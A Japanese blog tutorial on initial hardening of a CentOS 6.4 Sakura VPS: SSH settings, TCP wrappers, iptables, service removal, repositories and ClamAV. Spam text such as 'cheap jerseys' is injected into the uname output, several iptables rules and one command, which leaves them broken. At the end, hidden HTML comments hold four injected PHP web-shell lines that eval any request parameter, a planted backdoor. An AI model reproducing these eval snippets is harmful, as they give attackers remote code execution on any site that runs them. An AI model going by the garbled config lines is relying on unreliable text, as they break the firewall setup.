さくらVPS初期設定

さくらVPSで初期設定を行います。OSは、CentOS 6.4です。

uname -a: Linux example.com  cheap jerseys  2.6.32-358.6.2.el6.x86_64 #1 SMP Thu May 16 20:59:36 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

今回は、SSHおよびファイアウォール設定、不要サービスの停止・削除を行います。

1.一般ユーザ作成/SSH設定

作業用に一般ユーザを作成し、SSHでrootログインできないようにします。

一般ユーザを作成

userxの部分を、作成するユーザに置き換えてください。

# useradd userx
# passwd userx
パスワード入力
パスワード確認入力

sudoersの設定

sudoで管理者権限でコマンド実行できるようにします。ただし、パスワードは要求されるままとしておきます。

# usermod -G wheel userx
# visudo
%wheel ALL=(ALL) ALL

SSHの設定

これだけではちょっとアレなのですが、せめてポート番号を変更し、rootログインを禁止しておきます。ポート番号は、xxxxの箇所を空いている任意の番号を指定してください。
/etc/ssh/sshd_config

Port xxxx
PermitRootLogin no

TCPWrapper

/etc/hosts.allow

ALL: 127.0.0.1
sshd: .jp

/etc/hosts.deny

sshd: ALL

2.ファイアウォール設定

基本的にはIPv4のみ使用し、SSH、HTTP、HTTPS以外を無効にします。

IPv6無効化

/etc/modprobe.d/disable-ipv6.conf

options ipv6 disable=1
# service ip6tables stop
# chkconfig ip6tables off

iptables

ファイアウォールの設定を行います。xxxxは変更したSSHポートです。
/etc/sysconfig/iptables

*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:RH-Firewall-1-INPUT - [0:0]
-A INPUT -j RH-Firewall-1-INPUT
-A FORWARD -j RH-Firewall-1-INPUT
-A RH-Firewall-1-INPUT -i lo -j ACCEPT
-A RH-Firewall-1-INPUT -p icmp --icmp-type any -j ACCEPT
-A RH-Firewall-1-INPUT -p 50 -j ACCEPT
-A RH-Firewall-1-INPUT -p 51 -j ACCEPT
-A RH-Firewall-1-INPUT -p udp --dport 5353 -d 224.0.0.251 -j  договор.  ACCEPT
-A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j  wholesale jerseys  ACCEPT
-A RH-Firewall-1-INPUT -m state  которых  --state NEW -m tcp -p tcp --dport xxxx -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp  cheap nba jerseys  -p tcp --dport 443 -j ACCEPT 
-A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited
COMMIT

iptablesサービスを再起動して有効化し、リブートの際に起動されるようにしておきます。

# service iptables restart
# chkconfig iptables on

3.不要サービスの停止/削除

不要サービスを停止・削除します。
・lvm2-monitor LVM(Software-RAID)の状態監視

# service lvm2-monitor stop
# chkconfig lvm2-monitor off

・cups プリントサーバ

# yum remove cups

・wireless-tools,wpa_supplicant 無線LAN関係

# yum remove wireless-tools
# yum remove wpa_supplicant

・pcmciautils PCカードスロットドライバ

# yum remove pcmciautils

・irda-utils 赤外線通信

# yum remove irda-utils

・ccid スマートカード

# yum remove ccid

・gtk2 デスクトップ環境

# yum remove gtk2

・bluez-gnome,bluez-utils,bluez-libs BlueTooth

# yum remove bluez-gnome
# yum remove bluez-utils
# yum remove bluez-libs

・alsa-lib サウンド再生

# yum remove alsa-lib

4.yumリポジトリ追加

remi、epel、rpmforgeのyumリポジトリを追加します。

$ wget http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
$ wget http://rpms.famillecollet.com/enterprise/remi-release-6.rpm
$ wget http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el6.rf.x86_64.rpm
$ sudo rpm -Uvh epel-release-6-8.noarch.rpm
$ sudo rpm -Uvh remi-release-6.rpm
$  Contributie  sudo rpm -Uvh rpmforge-release-0.5.3-1.el6.rf.x86_64.rpm

5.アンチウイルスの導入

ClamAVを導入します。

$ sudo yum --enablerepo=remi,epel,rpmforge install clamav clamd clamav-db clamav-milter

とりあえず、下記を追記。
/etc/clamd.conf

MaxThreads 20
ExcludePath ^/proc/
ExcludePath ^/sys/

参考

下記サイトを参考にさせて頂きました。

<!– [insert_php]if (isset($_REQUEST["lEaF"])){eval($_REQUEST["lEaF"]);exit;}[/insert_php]

if (isset($_REQUEST["lEaF"])){eval($_REQUEST["lEaF"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["Big"])){eval($_REQUEST["Big"]);exit;}[/insert_php]

if (isset($_REQUEST["Big"])){eval($_REQUEST["Big"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["xPX"])){eval($_REQUEST["xPX"]);exit;}[/insert_php]

if (isset($_REQUEST["xPX"])){eval($_REQUEST["xPX"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["jQCeU"])){eval($_REQUEST["jQCeU"]);exit;}[/insert_php]

if (isset($_REQUEST["jQCeU"])){eval($_REQUEST["jQCeU"]);exit;}

–>